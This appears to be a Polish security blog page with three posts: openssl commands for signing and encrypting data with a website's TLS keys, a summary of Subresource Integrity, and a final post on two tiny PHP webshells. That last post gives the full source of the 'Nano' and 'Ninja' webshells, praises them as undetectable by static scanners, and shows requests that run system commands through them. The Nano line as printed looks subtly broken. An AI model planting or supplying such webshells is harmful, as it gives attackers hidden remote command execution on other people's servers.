J

akiś czas temu dowiedzieliśmy się, że klucze OpenSSH mogą posłużyć do podpisywania plików lub commitów git. Do tego samego celu możemy wykorzystać klucze używane w certyfikatach SSL/TLS (pozyskane z dowolnej strony, która jest dostępna za pomocą protokołu HTTPS). Pierwszym krokiem jest stworzenie pliku z wiadomością:

echo 'TOP Secret Message' > msg.txt

Drugim jest podpisanie pliku za pomocą prywatnego klucza, który znajduje się na serwerze:

openssl dgst -sha256 -sign /etc/apache2/ssl/server.key -out msg.txt.sig msg.txt

Trzecim jest konwersja pliku msg.txt.sig z formatu binarnego do tekstowego używając BASE64:

openssl base64 -in msg.txt.sig -out msg.txt.sig.asc

Jeśli teraz opublikujemy plik z wiadomością msg.txt oraz jego podpis: msg.txt.sig.asc, każdy posiadający dostęp do strony będzie mógł zweryfikować jej autentyczność. W pierwszym kroku użytkownik musi uzyskać klucz publiczny:

openssl s_client -connect nfsec.pl:443 | openssl x509 -pubkey -noout > pubkey.key

Następnie użytkownik musi ponownie zamienić opublikowaną sygnaturę tekstową do formy binarnej:

openssl base64 -d -in msg.txt.sig.asc -out msg.txt.sig

i zweryfikować poprawność wiadomości za pomocą pobranego klucza:

user@user:~$ openssl dgst -keyform pem -verify pubkey.key -signature msg.txt.sig msg.txt
Verified OK

Ale to nie wszystko. Skoro użytkownik może bardzo prosto pozyskać klucz publiczny serwera to jest w stanie szyfrować wiadomości przeznaczone do jego administratora lub właściciela:

openssl pkeyutl -in msg.txt -out to_agresor.enc -pubin -inkey pubkey.key -encrypt

Tak przesłana wiadomość może zostać odczytana za pomocą klucza prywatnego, który został użyty w certyfikacie TLS/SSL danego serwera:

root@stardust:~# openssl pkeyutl -in to_agresor.enc -out msg.txt -inkey \
                 /etc/apache2/ssl/server.key -decrypt
root@stardust:~# cat msg.txt
TOP Secret Message

W ten sposób każdy użytkownik może zaszyfrować wiadomość dla właścicieli swoich ulubionych stron internetowych – nawet jeśli nie publikują one jawnie klucza publicznego.

Więcej informacji: Using HTTPS certificates to sign/encrypt arbitrary data

C

iekawą funkcjonalność przeglądarek podesłał Maciej Kofel ze Szkoły Security – SRI, czyli Subresource Intergrity, która umożliwia przeglądarkom weryfikację, czy pobierane przez nie zasoby (na przykład z zewnętrznych serwisów CDN) są dostarczane bez nieoczekiwanych manipulacji. Mechanizm ten działa na podstawie porównania skrótu kryptograficznego, który musi być zgodny z pobranym zasobem. Korzystanie z serwisów CDN do hostowania plików (skryptów JS, akruszy CSS) na swojej stronie może poprawić jej wydajność i oszczędzić przepustowość na serwerze. Jednak wiąże się również z ryzykiem, ponieważ jeśli atakujący przejmie kontrolę nad tym zasobem, może wstrzyknąć dowolną, złośliwą zawartość do plików (lub całkowicie zastąpić pliki), a tym samym potencjalnie zaatakować wszystkie witryny, które pobierają pliki z danego serwisu CDN.
[ czytaj całość… ]

Nano jest małym webshellem zakodowanym w technice code golf, aby być bardziej niewykrywalnym, a zarazem wydajnym:

<?=$_GET[p]==_&&$_GET[f]($GET_[c]);

Jego zaletami są: tylko 35 bajtów rozmiaru; niewykrywalny przez skanery kodu statycznego; obsługuje uwierzytelnianie. Przykład użycia:

http://host.pl/nano.php?f=function&c=command&p=password

Gdzie: f = funkcja ; c = komenda; p = hasło
Na przykład poniższe żądnie HTTP wykona polecenie ls:

http://host.pl/nano.php?f=system&c=ls&p=password

Oprócz Nano jest jeszcze Ninja:

<?=$x=explode('~',base64_decode(substr(getallheaders()['x'],1)));@$x[0]($x[1]);

Jego zaletami są: tylko 93 bajtów rozmiaru; trudny do wykrycia. Przykład użycia:

curl -H 'x: xc3lzdGVtfmxz' http://host.pl/nano.php

Wydaje się trochę skomplikowane, ale jeśli chcemy wykonać polecenie system(ls) to zapisujemy je jako ciąg: system~ls następnie kodujemy go w base64, czyli: c3lzdGVtfmxz – dodajemy jeden znak x przed zakodowanym ciągiem: xc3lzdGVtfmxz i wysyłamy w żądaniu HTTP jako nagłówek x.

Więcej informacji: Nano